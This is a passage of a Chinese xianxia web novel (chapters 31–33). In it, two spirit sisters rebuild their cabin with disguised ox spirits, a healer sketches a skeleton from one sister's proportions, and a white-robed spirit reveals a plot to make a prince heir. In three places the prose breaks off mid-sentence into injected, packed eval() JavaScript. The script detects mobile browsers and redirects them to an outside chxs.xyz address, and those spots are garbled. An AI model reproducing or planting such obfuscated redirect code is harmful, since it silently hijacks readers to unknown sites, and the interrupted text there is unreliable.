此时,草垛之间还有另一只青牛正在悠闲散步,见到牛车,热情地踱步过来,与拉车的牛汇合,显然是两只彼此熟识的牛。 红鸾手指轻弹,两道灵力弹到两只青牛身上,青牛瞬间化作两个虎背熊腰的壮汉。 “跟我走。”红鸾道。 两个壮汉默然跟随其身后。他们体型比常人高大,浑身肌肉健壮,一个手掌就能覆盖常人的一整张脸,只看背影会以为他们十分凶悍,但看正面,他们双眼透露出的婴儿般的天真,大大削弱了体型给人的压迫感。 这是两个有灵根但还没开灵智的牛精,同样可以用点灵术驱遣。 红鸾带他们进入槐谷,在能刚看到木屋废墟的地方停住,遥指草棚下的长山、阿远、裴浩等人,对两个壮汉命令道:“在那些人面前不可使用术法,不可暴露本相,按那位老师傅的指点干活,不知道该怎么办时就来找我,知道了吗?” 两壮汉动作一致地点点头。 若想单凭灵的能力做什么精细工艺,是很难的。比如没学过榫卯斗拱之类的工艺,不懂房子结构,那么再怎么灵力高强也改不了房子,因此不得不请一个凡人工匠作指导,两个牛精只需听命出力即可。 在同样有灵根没灵智的状态下,动物所成的精要比植物所成的精更好沟通,毕竟动物本来就能与人做简单沟通,化为人形时的状态也就更自然,至于不自然的那部分,就当他们本性憨厚、不删言语也能勉强说通。 两个牛精一个属土系,一个属木系,平日需要做什么体力活红鸾都会请他们来。有他们的帮忙,伐木取材,夯土建基,盖房速度飞快。 介绍他们时,红鸾只说:“这是大牛二牛,也是从附近请来的工人,很能干活,不爱说话。” 只靠点灵术短暂化为人形的牛精确实都不太会说话,非要说话只能一个字一个字往外蹦。 裴浩提出和他们一起去伐木,他们说:“不。” 长山邀请他们休息时一起吃饭,他们说:“不。” 工匠师傅夸奖他们盖房干活能以一当十,问他们愿不愿意拜在他门下做长期学徒,他们说:“不。” 阿远所坐的位置挡了他们的路,他们把阿远连同石凳一同高高举起,换个位置轻轻放下,说:“让。” 红鸾指挥他们做事,他们就说:“是。” 青崖给两个壮汉递去两个仙草植物的果子,她一只手勉强能握住的果子,到了二牛精手里小地像青枣一样,他们接过,用两根粗壮手指捏起丢到大嘴里,抿一口就没了,说:“小。” 青崖哈哈大笑,把一箩筐果子都给了他们,他们各自往嘴里倒了半箩筐才算吃得尽兴。 众人白天干活,晚上休息。阿远不参与力气活,可也没闲着,在草棚下默写被烧掉的青崖父母的游记。他从裴涛的信中知道现在不便出谷,也就安心在这里消磨时间。 唯一闲着的是青崖,因烧掉的是她的房子,几人心中有愧,坚决不让她费力参与盖房。她除了和老工匠讨论木屋细节如何还原,就是闲在一边煮煮茶水,当个名不副实的监工。 当别人都有事在忙,自己却能在旁边理直气壮享受悠闲的时候,这份悠闲就更多了十分滋味。 青崖把脚翘在高度正好垫脚的木墩上,优哉游哉翻看阿远默写出的游记,感慨道:“你记忆力可真好,怎么看过一遍就能记住。” 阿远停下笔,钦佩地看向不远处的长山,“是长山先生医术太好。” “嗯?”青崖顺着他的视线看过去,长山本来正要将一块木头打磨圆滑,却突然停下,观察起木头截面的纹路,不时还闻一闻木头的味道,或将手掌严丝合缝贴在木头上,大约在感受树木里蕴含的木灵。 “青崖姐有所不知,”阿远解释,“我自小就记忆力好,对于喜欢的东西更能过目不忘,后来长大一些,有了郁疾,记忆力大大减退,再后来长期服用忘忧散,更是少有心境清明的时候,严重时,读不了书,吃不下饭,也睡不着觉。 “我本以为,这辈子没救了,将会在不到二十岁时的某一日,在痛苦与疯癫中死去……没想到能遇到长山先生这样的医者。 “这次靠长山先生的汤药与针灸调理,我虽有伤未愈,但头脑清明,记忆清晰。我以前所在的京城,聚集了所有天下最贵重的宝物,最优秀的人才,也有医术最好的大夫。而我这次亲身体验到,长山先生的医术比他们都好,实乃神医。” “是么?”青崖对医术好坏没什么具体概念,灵的体质比凡人强健太多,她以自己的恢复速度去对比阿远伤势,还总觉阿远恢复太慢,问过裴浩需不需要请外来大夫再帮忙看看,裴浩的回答也如出一辙,说没有见过比长山先生医术更好的大夫,不需要再请其他人。 她不禁对长山那一堆她看不懂的瓶瓶罐罐多了几分敬慕。 长山把他的旧物从往日山寨取回后,一得空就开始重新誊抄整理。最近见识到槐谷的仙草灵药,还给陵王调理陈年旧疾,他又有了新的心得收获,在帮忙盖房时会突然陷入出神状态,吃饭时也手不释卷。晚上其他人都休息了,只有他还对着一点烛火熬夜钻研医书与药材。 在青崖帮忙下,他把附近能找到的各种仙草植物都研究了个遍,不厌其烦地尝试各种搭配,向青崖询问这些植物在其他季节时的样子,新的药理与药方写了一叠又一叠。 他几乎没有片刻余暇,所以,当他提出要给青崖画一幅画像时,青崖还以为自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13419414|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己听错了。 “你还有功夫给我画画?”青崖问。 长山道:“姑娘的骨相处处标致,我想以姑娘为参考作一幅画。” 青崖每天画花画草画树画姐姐,唯独难画自己。一听有人要给她作画,自然十分惊喜。 “那我要穿什么衣服?摆什么姿势?在哪里画?今日就画吗?” 长山的神情和他突然想到奇妙新药方时一样,像是突然有什么灵感需要及时捕捉,急切道:“衣服越贴身、能显出身段越好,现在就画,在哪都行,就画一个正面站姿吧。” 这要求有些奇怪,竟不是穿得越美越好。青崖于是换了那身最便于行动的夜行黑衣。 她的衣服都是红鸾为她量身定做的,这身劲装短打也不例外。她提出要求时,只说要黑色,要便于攀爬跳跃,本意是要一身简洁黑衣,奈何姐姐从不肯做丑衣服,硬是在这样一件黑夜里穿的衣服上费了十二分心血。最终成衣用料上好,裁剪精细,服帖合体,柔软的黑色布料与硬挺的黑色皮革完美结合,搭配雕刻着兽纹的护腕与一双小巧的黑皮靴,穿上后身段悦目,精炼利落,一完工就成为了她最喜欢的一身衣服。 她换好衣服走到长山面前,问:“这身衣服可好。” 正在磨墨的长山抬眼将她从头到脚扫视一遍,满眼惊艳道:“好!特别好!就穿着这身衣服画。” 青崖想:“长山的要求虽有些奇怪,说不定正是与我眼光一致,也觉这件衣服最适合我呢。” 建屋期间,到处堆满木材,几人都是坐在高高低低的木材堆上。青崖特意扎了一个与身上劲装相配的高马尾,按照长山指点在一棵树下端正而立,长山在距离十步之外,以一堆木板为桌,铺开笔墨纸砚开始作画。 作画期间,裴浩路过长山面前时低头看了一眼,如见妖魔似地,到阿远身边悄声嘀咕了几句话。大牛二牛正在做工干活,钉木锯木的声音交织在一起,青崖没有听清裴浩同阿远嘀咕了什么,只见阿远“啊”了一声,朝他们望过来,表情啼笑皆非。 青崖按捺不住,想看长山的画,又知作画之时最怕参照物移动,只好强忍好奇,原地端立,在心里猜测长山的画是什么模样。 长山平日里勾勒药草植物不以美为标准,而以准确记录植物形态为标准,画工尚可。但画植物和画人是不同的,青崖自己也是擅长画花草植物而不擅长画人,看阿远与裴浩的反应,大约长山画人画得实在差强人意。 但见长山画得认真仔细,下笔陶然自得,青崖决定无论长山把自己画成什么样子,都要夸赞一番。第一次画不好没关系,多练习练习定有长进,不能打击他的热情。 对于画得不好的画要怎么夸赞?青崖默默打起腹稿。 比如,可以说整体看来细腻自然,神韵动人。 或者,可以夸赞部分尚可,另外指出欠佳的笔画,这样显得更为诚实。 再不济,也可以说无论如何,心意重要,我一定会好好珍藏这幅画。 等了几盏茶的功夫,长山终于收笔。 31. 东风飘兮神灵雨2 “画完了?”青崖甩了一甩站立僵硬的手脚,跑到长山身边,低头看画。 阿远与裴浩一直在期待她看到画的反应,皆在一旁捂嘴偷笑,红鸾也禁不住好奇,过来一睹画作,结果看完画瞟了一眼长山,神色复杂地移走。 老工匠也凑来看热闹,对长山的画指指点点:“你怎么把人家漂亮姑娘画成了妖怪?” 大牛二牛看了都后退道:“咦——” 那幅画其实很精致。 确实是一个人端正站立的样子,各处长短比例精确无比,线条粗细恰到好处。 只不过勾勒出的是一个标致的骷髅。 青崖:“……这是什么?你眼里的我?” 长山为众人解释:“这不是妖怪,是骨骼图,作为医者,很需要这样的图,有这样一张图,以后治疗骨伤给人说明的时候……” 啪的一声,青崖一掌拍在木板上,木屑纷飞。 长山终于发现青崖似乎真要变成青面獠牙的样子了,幡然醒悟:“……我没有说明我要画的是骨骼图吗……?” 青崖咬牙切齿:“你说我的骨相处处标准,你要为我作一幅画!” 怪不得要衣服越贴身越好!亏她还费尽心思提前想要怎么夸他画得好! 长山连日白天帮忙建房,晚上钻研医药,难免带有几分长期熬夜后精神不济的呆滞,青崖扭头离去后,他才追在后面连声道歉:“罪过罪过,是我没说清楚,我的确是看姑娘骨相标志,很适用于参考,所以画了以你比例为主准的骨骼图……” 青崖扬长而去,晚饭时,“精心”亲手煮了一锅好汤,只端给长山喝,长山不敢不从,喝汤喝得表情极为精彩,裴浩幸灾乐祸,气氛其乐融融。 *** 几人忙碌一个多月,四月下旬,木屋大体已经完工。 红鸾付给工匠五金羽加一百银羽,老工匠眉开眼笑,反复强调如果下次需要,还可以再找他。 送他出谷的路上,青崖一直拎着一个酒壶,里面装着忘尘酒。临到分别时,给工匠斟满一杯。 “老爷爷,我们就要告辞啦,一起喝杯酒吧,谢谢你帮我盖房子。” 一杯之后又斟一杯,忘记一个月需要一杯,两个月就需两杯。 老工匠喝下忘尘酒,觉得这酒味道过于淡了,等他回城要到酒肆去打一壶浓香的屠苏酒好好喝一场,他客气一番,与青崖红鸾道别后,摇摇摆摆走回自己家,稀里糊涂和家人打招呼:“我赚大钱回来了。”说完倒头便睡。 再醒来时,工匠妻子迫不及待问他:“你去哪里做工啦?竟然赚回五金和一百银?” 老工匠眨着迷茫双眼道:“我去……一个山谷里,给两个漂亮姑娘和一个白骨妖怪盖房子。” “啊?漂亮姑娘和白骨妖怪?!” “哦,不对,那好像是个梦……嗯?我出去做工了吗?” “你是老糊涂还是醉糊涂了,你外出做工两个月,晌午才醉醺醺地回来,回来就睡了一天。” 老工匠看了看外面昏暗的天色,感到一切都说不出地奇怪,好像分不清自己在梦里还是在现实里。 “我是外出做工了,地点嘛就在……就在……”记忆断断续续又模糊,只记得在山里,具体哪座山却不知道。 老工匠回忆:“和我一起干活的有一个大夫,一个练剑的,还有两头牛,那两头牛砍树、刨木头、夯地基,比咱家大儿还快……” 工匠妻子斥道:“你还没清醒?胡说啥?牛咋个砍树刨木头?” 老工匠想想也觉得是,摸着后脑呢喃:“那我去哪做工了?是不是你趁我喝醉逗我呢,我就是去做工,别说两个月,就是两年也不可能赚回两六金啊?” 五金与一白银等同于六金,对工匠来说,是一笔不小的数目。 工匠妻子拿出他的包裹,“可是金银就在这,你自己看。” 老工匠看到灿灿的金羽银羽,愈加困惑了,不过,更多的是开心。 “嘿!说不定我是遇到仙女啦!” *** 大牛二牛也变回本相,回到原来藏身的地方,只留长山、阿远、裴浩等人继续进行收尾杂活。 原来废墟周边的焦土都被翻整一新,瞧不出一点曾被大火焚烧过的痕迹。青崖从山中挑了几棵高大槐树移植到屋子前后代替原先被烧焦的树,正是人间四月天,初春花期已过,柳树槐树都变得茂盛,在地上投下片片树荫,木屋四周和以前的光景既相似又有几分微妙的不同。 她左腾右挪,选了个舒适视角铺开纸笔,对着新的木屋作画,连带把在屋子前后忙碌、包括自己在内的五个人影也画进去。 一袭红衣坐立在屋前指挥他人干活的是姐姐红鸾,提着刷子给木窗上漆的是长山,用铲子挖坑种树是裴浩,在树荫下低头誊写游记的是阿远,最后是画画的她自己。 一幅画画好,叫长山题字。 她把笔递给长山,特意提醒:“好好写,不要画线条和看不懂的符号。” 当长山不是做速记,而是认真写字的时候,写出的字便端方优雅,,恰如其人。 他在其余四人围观中提起笔,凝视青崖画作,思考良久,于纸上空白处写下五个清隽秀逸的题字:一纸桃花源。 *** 木屋完工,周边树木花草栽种齐全,废弃余料收拾停当。 青崖在拥有新房子的喜悦中,夹杂着一丝忧愁。 这下没有理由再留那外来的三人了。 忘尘酒就摆在屋前石桌上,红鸾不时当着那三人的面,自斟自饮一杯,以做铺垫。 阿远还与长山商议起未来:“先生将来有何志向?想开医馆还是想从政?这几个月承蒙先生照顾,我才能绝处逢生,想来想去,我只有这身份还算略有用处,若能平安回去,不论先生想做什么,我定会想方设法帮先生铺路。” 他们谈话的地方距离青崖有一段距离,她必须全神贯注侧耳倾听才能听见,只听长山有些意外道:“我?从政?” 阿远道:“相处这段时日,可以看出先生不仅医术高超,且饱读圣贤书,是心系天下的仁人义士,如果先生出仕,将来位高权重时,对于世间不平之事,方能移之。” 长山父母是因《禁药令》而亡,阿远也听说了。作为一个本就反对过《禁药令》的皇子,他愿意给长山的未来铺路,自然是为了补偿、报恩。 却听长山道:“我……需要考虑考虑。” 青崖知道,从政就是去做官,等做了官,长山还能有时间钻研医术吗?以他对医药的痴迷程度,要他放弃医术,无异于改头换面,另起人生。 除了与长山谈论未来,阿远也会不经意地向她打听,她和红鸾需要什么。 这是在为离开作打算,想知道可以拿什么报答她们的收留之恩。 她和姐姐不缺金银,而且长期隐居山谷,本就不需要什么花销,更不想开店做官,若说最想要什么,那就是最想要人可以不捉妖,让她们能自由行走于世间,不必躲躲藏藏。 可是,这种事,目前的阿远没法帮她实现。 山谷里的日子太孤单了,体验过这三个月有人气的热热闹闹的日子,就更不愿回到之前冷清寂静的气氛里。 “我需要一个小弟。”青崖半带调笑地说道,“我不缺什么,你叫了我这么久姐姐,只希望你能一直记住我这个姐姐。” 阿远道:“我自然会记住,在姐姐这里的三个月,是我最快乐自由的三个月。” “不如,我们结拜吧。”阿远突然提议。 “结拜?” “对,结拜,江湖人似乎有这种做法,”阿远回想听说过的江湖异闻,道:“只要焚香礼拜,一起宣誓,以后就算真正的兄弟姐妹了。” 青崖感到新鲜,“好呀,那我们就焚香结拜。” 裴浩准备好香炉蒲团,摆在在新建的木屋前,他们手持长山自制的药香,在天地与朋友共同见证下,正式结拜为姐弟。 把香插进香炉,青崖面上带笑,心里却发苦。这一切,只有她自己会记得,等他们喝下忘尘酒,会把这里的事当作一场梦,日久天长,逐渐忘记。 以前,她也曾捡人回来招待,但最多招待几日,还从未有人在这里借住长达三个月,和自己一起经历这么多事。 三个月,恰好从初春来到初夏。 在红鸾屋里,青崖拿着红鸾绣花的丝线在指间绕来绕去,不甘心地念叨:“三个月,三杯酒,然后他们就会忘了我……那忘尘酒他们非喝不可吗?” 红鸾道:“非喝不可。” “少喝一杯行不行?咱们从没给别人喝过三杯忘尘酒,万一量太大对他们身体有害怎么办?少喝一杯,也许足以让他们记不清楚——” ——但若再见,又能想起。 “不行。” “长山是药师,他会喝出这酒里加了什么,也许还会猜到功效。”青崖搜肠刮肚寻找借口,“恐怕不好骗他喝下这酒呢,加在饮食里也不行,他不仅对草药味道敏感,还能感受到木灵。” 红鸾冷硬道:“硬灌也要让他们喝下去。” 三人离去日期已定,他们收拾好行李准备出发的那日清晨,青崖坐在新栽的槐树下,望着石台上摆放的琉璃酒壶和四个小酒杯发呆。 日光透过琉璃酒器,在石桌上投下点点彩色光斑,杯子稍一移动,光斑也随之移动,光影如梦似幻。 青崖手指张开又合拢,徒劳地试图把那些美丽的彩色光点握在手里。 长山第一个收拾好行李从屋里走出,坐到她身边,问道:“这是践行酒吗?叫什么名字?” “忘尘酒”这个名字过于直白,只怕让人一听就知其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13430636|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 功效,青崖咬了一下唇,失落道:“何日君再来。” “嗯?” “这酒的名字,叫‘何日君再来’。” “好名字。”长山倒出一杯酒,拿起酒杯放在鼻下轻轻嗅闻,若有所思地微微点头,“好酒。” 青崖眼睛一眨不眨盯着他,生怕他直接将这让人忘事的酒提前喝下,好在他称赞完,并没有喝,而是放下了酒杯。他一手虚握着琉璃盏,琉璃折射出的美丽光斑也投射在他的手心里。 青崖将视线从长山手心移向天空,开始期盼下雨。晴朗碧空中只有一朵云彩,她就望着那朵云在心中默念:过来降雨,过来降雨,过来降雨…… 奇异的是,那片云竟然真的渐渐飘到槐谷上方,一路扩大,变厚,直至遮住太阳。 空气忽而变得潮润清凉,琉璃杯的光芒暗淡下去,青崖的眼睛却明亮起来,她惊喜地站起,伸出手,果然接到了零星雨点。 她从长山手里夺过杯子,开怀道:“看来要下雨,你们走不成啦,今日不必喝这践行酒!” 仿佛是为了附和她说的话,雨点骤然密集,噼噼啪啪落在树上和瓦片上,乐曲一般动听,他们一起快速跑到外廊下躲雨,一直站在树梢上的红鸟也不得不飞到窗台上,进屋避雨, 不过片刻,从屋顶边缘滴落的雨水就连接成线,在屋檐前方形成一道雨帘。 阿远和裴浩也来檐下看雨,知道这种大雨必定会导致山路泥泞,他们确实无法在今日离开了。几人商量一阵,只好决定明日再走。 裴浩从屋里搬出软塌、棋盘、书籍等,方便大家一起坐在檐下观雨,有一搭没一搭地聊天。 “早晨天气还好好的,怎么会突然下雨。” “不知道呀。” “下多久?明日会不会停?” “要是下一晚上,明日早晨才停,那明日也不便赶路,至少要等明日下午。” “可是下午你们走不出山就到晚上了,露宿郊野多危险,最好还是天气晴好道路干燥的早晨出发,晚上正好到附近县城。” “那恐怕要在小师父这里再多耽误两日了。” “再多耽误三四五六七八日,也无妨。” 长山煮了一壶花果茶,不急不缓地倒出四杯分给诸人,阿远与裴浩终于尝到这以往只煮给青崖喝的茶,受宠若惊,连声赞美。 天公似乎算计好了不让山路干燥,接连好几日,雨水断断续续,时晴时歇。谷中水气凝结成雾罩在青山之上,青崖照着画了好几副云雾缭绕的山水图。 外来三人离开的日子推迟了一天又一天,青崖不急,也不见他们有多着急。 第五日,大雨又是傍晚才歇,天黑不好赶路,几人自然又得等明日天亮再说。 翌日,红鸾撑着一把胭脂色油纸伞翩然而至,她将青崖揪到三人听不见她们对话的地方,冷然道:“该让他们上路了,他们早晚都要走,你何必强留。” 青崖用手指戳着身边潮湿的树干咕哝:“这不是在下雨么。” “这雨怎么来的你难道不知道?” 青崖闷声道:“不知道。” “真的不知道?” 青崖对于这样怀疑的质问生出几丝烦躁和委屈,不由地提高声音:“我又不会降雨,我怎么会知道?” “你不会降雨,有人会降,”红鸾观察良久,终于选择相信她,“你没犯糊涂与外人联结就好,走,跟我去找降雨的人。” “哦。”青崖垂头跟在红鸾后面。 早就知道,这雨降地蹊跷,白天下雨,晚上就停,而且就那么一片孤零零的云笼罩在山谷之上。 事出反常必有妖——人类这句话倒也没错。 她和红鸾一人撑一把纸伞,尽量踩着石头路避开泥泞,红鸾时不时伸出手去感受雨滴中的灵。水灵根的妖可以降雨,通过施术留下的灵气波动,就可以试着寻找施术的具体地点。 木屋着火时,她们就确定有同族穿过了山谷结界。破解固定结界而不让她们发觉的方法屈指可数,她们想来想去想起一个最简单的可能:在与操控冰刃的神秘男子打斗时,青崖曾被削去几缕头发,如果以她的头发作为媒介,那么无论是谁都可以无视结界来去自如了。 红鸾追随着雨中的灵,一直找到结界边界处,在距离结界不远的地方,听见铮铮琴声。循声而去,在一棵青翠古松下,看到一个白衣男子的背影,他面对山谷而坐,膝上放着一把焦尾琴,琴音欢快悦耳,如百鸟鸣啭。 淅淅沥沥的雨把山谷都浸透了,唯他落座的巨石上,一滴雨也没有。 “阁下终于肯现身了。”红鸾道。 琴声戛然而止,男子悠悠然站起,转过身来,打开折扇轻摇,看着她们,淡笑点头:“细雨流光,美人执伞,真是一道好风景。” 他有一双令人难忘的桃花眼。 32. 东风飘兮神灵雨3 青崖惊呼:“果然是你!” 这就是上次操控冰刃攻击她的白衣男子,也是灵岛使者洲禾所说有关于灵族“特别计划”的一个灵族。 男子抱拳道:“上次相遇,对小美人多有得罪,实在抱歉。日后若有机会,一定补偿。” 红鸾冷冷道:“你的补偿方式就是烧了我们的屋舍吗?” “美人既然已经猜到是我烧的,”白衣男子道,“那么是否也已猜出我的真实目的?” 红鸾道:“你放火烧屋,无非是为了让我在那几个外人面前展示能力,让他们知道我不是普通人,那现在降雨又是为了什么?” 白衣男子道:“为了让陵王殿下在这里多住几日。在这之前,我们的人还没有把外面的事情安排好,他不能出去。” 红鸾道:“那你现在肯现身,想必是安排好了?” 白衣男子道:“没错,你们如果愿意,可以帮我转告陵王殿下一个消息。” “什么消息?” 白衣男子淡淡道:“平王已死,陵王可缓缓归矣。” 青崖与红鸾都静默片刻,揣摩消化这句话背后的肃杀之意。 平王兴师动众暗杀陵王,近百山匪被灭口,陵王的护卫亲随几乎全部丧生,泰安一场打斗,军民死伤众多,他奸诈的暗杀行动不知害死了多少人,尚且没有成功。 这个男子却语气云淡风轻地来通知:平王已死。 他显然是一个灵族,作为一个灵,要杀死一个人族亲王,计谋与人力,缺一不可,能杀死平王,说明他的手段比平王更厉害。 “不愿意,”红鸾给出回复,“你们做的事情你们自己去说。你故意引我妹妹去救皇子,又假扮官兵搜山,让她在玉皇山受伤,这样处心积虑的谋划,不就是为了便于以后用真实身份接近陵王?” 白衣男子道:“没错,第一步就是要让陵王记住我族对他的恩情。这演戏演出的热情友爱,永远不及真情实感动人。我意外发现这里竟有两个人美心善的同族,所以救人这部分,就让你们去完成了。” 红鸾伸出手道:“你们的目的已经达成,以后不得再出入山谷,把东西还回来。” 白衣男子取下腰间锦囊递出,青崖接过打开,里面赫然是一缕头发,不消说,那自然是她的头发。 青崖问:“都在这里了?没有私自保留?” 男子点头:“那日小美人被削落的青丝都在这里了。” 没有信物,就没办法自由出入结界,要靠灵力强行攻破结界,至少也会造成足以惊动她们的动静。 青崖向红鸾点头,示意对方说的是实话。 红鸾道:“我妹妹热心救人,你却利用她来做戏。我猜,陵王就算不遇难,你们也会帮他‘遇难’,然后再假装施救吧?” 就像让青崖受伤给陵王看一样,只要有足够的人手,制造一场“陵王遇险被灵族搭救”的戏码并不难。 白衣男子没有否认,“美人有如此智慧,为何要隐居深山,而不想办法为同族谋利?” 红鸾道:“做什么?怎么做?像你这样为了达到自己的一点目的,随随便便烧毁一栋别人世代居住的房子?” 白衣男子面不改色道:“我知道,世代居住的房子里难免有许多心爱之物。但是,覆巢之下焉有完卵?东莱国人捉妖的趋势若不能扭转,继续发展下去,莫说心爱之物,就连心爱之人将来也难免失去,隐居山谷可不是长久之计。” 他说话时一直笑意盈盈,所说的话却寒刺一般尖锐。 有《捉妖令》的存在,每一个妖类,或者灵类,心底最害怕的就是自己或自己身边的同伴发生意外被人捉去,青崖与姐姐也不例外,活着的每一日,都像头上悬着一把利剑。 青崖一直没有做声,边听边想,此时终于确定了自己关于那个“特别计划”的猜测,问道:“所以,你们接近阿远,帮他除去平王,是希望他回去当上太子,日后继位取消《捉妖令》吗?” 白衣男子道:“小美人觉得这个方法如何?” “取消《捉妖令》”这个计划听起来着实令青崖动心。可阿远刚救回来时是存了死志的,这段时间日渐恢复安宁,眉间郁色仍浓重地不似少年人。青崖实事求是道:“阿远他心地善良,但是身体病弱,精力不济。他最近常说的就是想自由自在,做一个踏遍山河的旅人……我猜,他并不想做太子。” 话说出口又想起阿远与长山的谈话,在支持长山开医药馆和支持长山从政之间,阿远分明更支持长山从政。细一揣摩,这其中既有补偿报恩之意,也有未来图谋之迹。阿远不想做太子是不愿陷入你死我活的兄弟之争里,而不是想对世间事袖手旁观,他小小年纪就敢对自己皇帝父亲颁布的诸多律令提出质疑,那份热血,会轻易变冷吗? 或许,未来该如何选择,连他自己也在矛盾挣扎之中吧。 白衣男子道:“他身为皇子,便有他的命运。有了这次经历,再看看诸位哥哥的下场,他就会知道,该做什么。他是我们观察多年选中的人,我们可不希望他毫无斗志。” “如果他确实志不在此呢?” “那他就是另一个平王,”白衣男子泰然道,“是我们需要排除掉的皇子。” 皇子很多,太子只有一个,未来继承皇位的也只有一个。 根据平王下场来看,所谓“排除”,听起来像极了“诛杀”的委婉说法。 青崖瞪着白衣男子,“你叫什么名字?” 她的面相识人在这人身上不起效果,仅五官外表而言,这个白衣男子无疑是俊美的,可是他含笑的样子,如同带着一张面具,叫她看不出其背后的真实情绪。 一眼看不出人的善恶不算稀奇,因为有相当一部分人并不纯粹,善恶难辨。但感知不出对方的情绪,这对青崖来说极为罕见,因此心中不安,很难把他归类为“好看,我喜欢”或是“不好看,我不喜欢”二者其中任意一类。 可他所谋之事,的确对灵族有益。若是能成,天下灵族都将得以自由。 白衣男子道:“美人莫要怪我残忍,行大事者,不拘小节。你们既然不想参与,那我也不便告诉你们更多。总而言之,雨今日就停,你们可以放陵王殿下出谷了,我的人会接手后续事宜。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13463666|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 换句话说,就是“灵族和陵王培养感情的目的已经达到,可以进行下一步了。” 这段时间一直被当作棋子,被打伤,还被烧了房子,过程实在不算愉悦。青崖见男子收起折扇要走,朗声道:“等等,我还有一件事。” “什么?” “你,”青崖伸出手指着白衣男子,语气不容拒绝道:“跟我再打一次。” 上次措手不及被打得只能靠姐姐护佑,青崖心中暗自不爽,回去之后辗转思索若再遇到相似情况该如何自保,如今能再遇见,简直是天赐良机,可以试试自己琢磨出的方法是否可行。 “竟是个不服输的美人,”白衣男子道,“好吧,可我内丹已成,若是与你全力比试,就算胜也是胜之不武。” 他折扇微扬,若干水滴从地面升起悬停于半空。 “这一次,我只操纵百枚水滴,美人若能在水滴击中要害之前将水滴一一击碎,便算赢我。” 他上次操纵的是伤人冰刃,这次只用水滴,便是友好切磋之意,红鸾见状没有阻止,只走到一旁观战。 青崖道:“好,我若赢了你就把你的折扇给我。”说罢双臂大开大合,掌心灵力汇聚,双手合拢靠近时,手心中间凝聚出一股灵流聚成的旋风。 上次输在慌乱之中无法自如地运转灵力,她回去没少琢磨该怎样克服这个障碍。她平常修炼聚灵靠作画入定,临敌之时就不能依靠这个方法了。给裴浩编写的心法口诀虽对人无用,对自己却很有用处。经过多次揣摩尝试,她把特别灵验有效的句子记录下来,把口诀又修改一番,现在已能确保无论何时何地,只要将意念专注于口诀,就能运转灵力。 白衣男子没有先下强手,只操纵一枚水滴攻向青崖。青崖掌心旋风成型时,水滴也攻到近前,她掌心推出,旋风一刹那就把水滴搅碎。 白衣男子赞许道:“哦?略有进步。”接着,九十九枚水滴一齐攻向青崖。 *** 回山谷的路上。 青崖把玩着赢来的折扇,问:“姐姐,我们要把消息告诉阿远吗?” 红鸾道:“什么都不必说,让他们快走就是,你不要卷入他们的是非里。” “可是……咱们难道不是已经被卷入了吗?” 红鸾脚步顿了一下,眼里漫上一层忧虑。 青崖试探性地提问:“还需要让他们喝忘尘酒吗?” 如果想让白衣男子的“特别计划”进行下去,就不能让阿远忘记她们这对灵族姐妹救过他的情谊,他不能忘,他的亲信裴浩侍卫也不能忘,长山已答应接受陵王的帮助给他的未来铺路,自然也不能让他忘记这段时间与陵王的相处。 是否允许那三人带着完整记忆离开,取决于姐姐是否愿意配合一下白衣男子的“特别计划”。 红鸾出神地走出一段距离后,方妥协道:“好吧,不让他们喝忘尘酒了。” “真的!”青崖开心抚掌,心情像天气一样,雨过天晴,阳光普照。 她今年十七岁,从现在开始,这世上终于有除了姐姐以外的人与她有交情,认得她,并记得她! 33. 东风飘兮神灵雨4 三人谢辞红鸾后,青崖送他们出谷。 离开时,红鸾嘱咐青崖把他们送出结界即可。然而走出结界,青崖忍不住送了一程又一程,总舍不得与他们告别。还是长山道:“送君千里,终须一别,姑娘不要再送了,否则别后你孤身一人返回,路途遥远,令姐会担心你,我们也会担心你。” 阿远问:“青崖姐,以后若有机会,可否回来看你?” 青崖道:“我也希望你们回来,但是山谷隐蔽,你们恐怕回来也找不到路。” 阿远改口道:“不然,你也可以来京城——”话说到一半讪讪打住,自问自答:“还是算了,那里是个是非之地,你永远不去最好。” 白衣男子的话和目的一直沉甸甸压在青崖心上,既期待阿远回去能顺利当太子,早日继位,又担心他当太子后,等不到继位,就如前几个太子一般命途惨然。 可她什么都不便说。 她拍拍阿远的肩,拿出几本父母的游记抄本,“未来日子还长,有缘就会重逢。这几本游记送给你,希望将来我也能读到你写的游记,所以,无论遇到什么事,你都要保重自己,不许想不开,免得再得郁疾,更不许再吃那忘忧散。” 裴浩道:“多谢小师父这些日子陪我切磋练习剑法,心法是假的,但我剑法进步是真的,小师父可别忘了我这个徒弟,以后任何时候再见,但凡有机会,师父都得不吝赐教。” “好,”青崖道:“不过我那心法真的不是什么神功的心法,你可千万不要外传去骗人。” 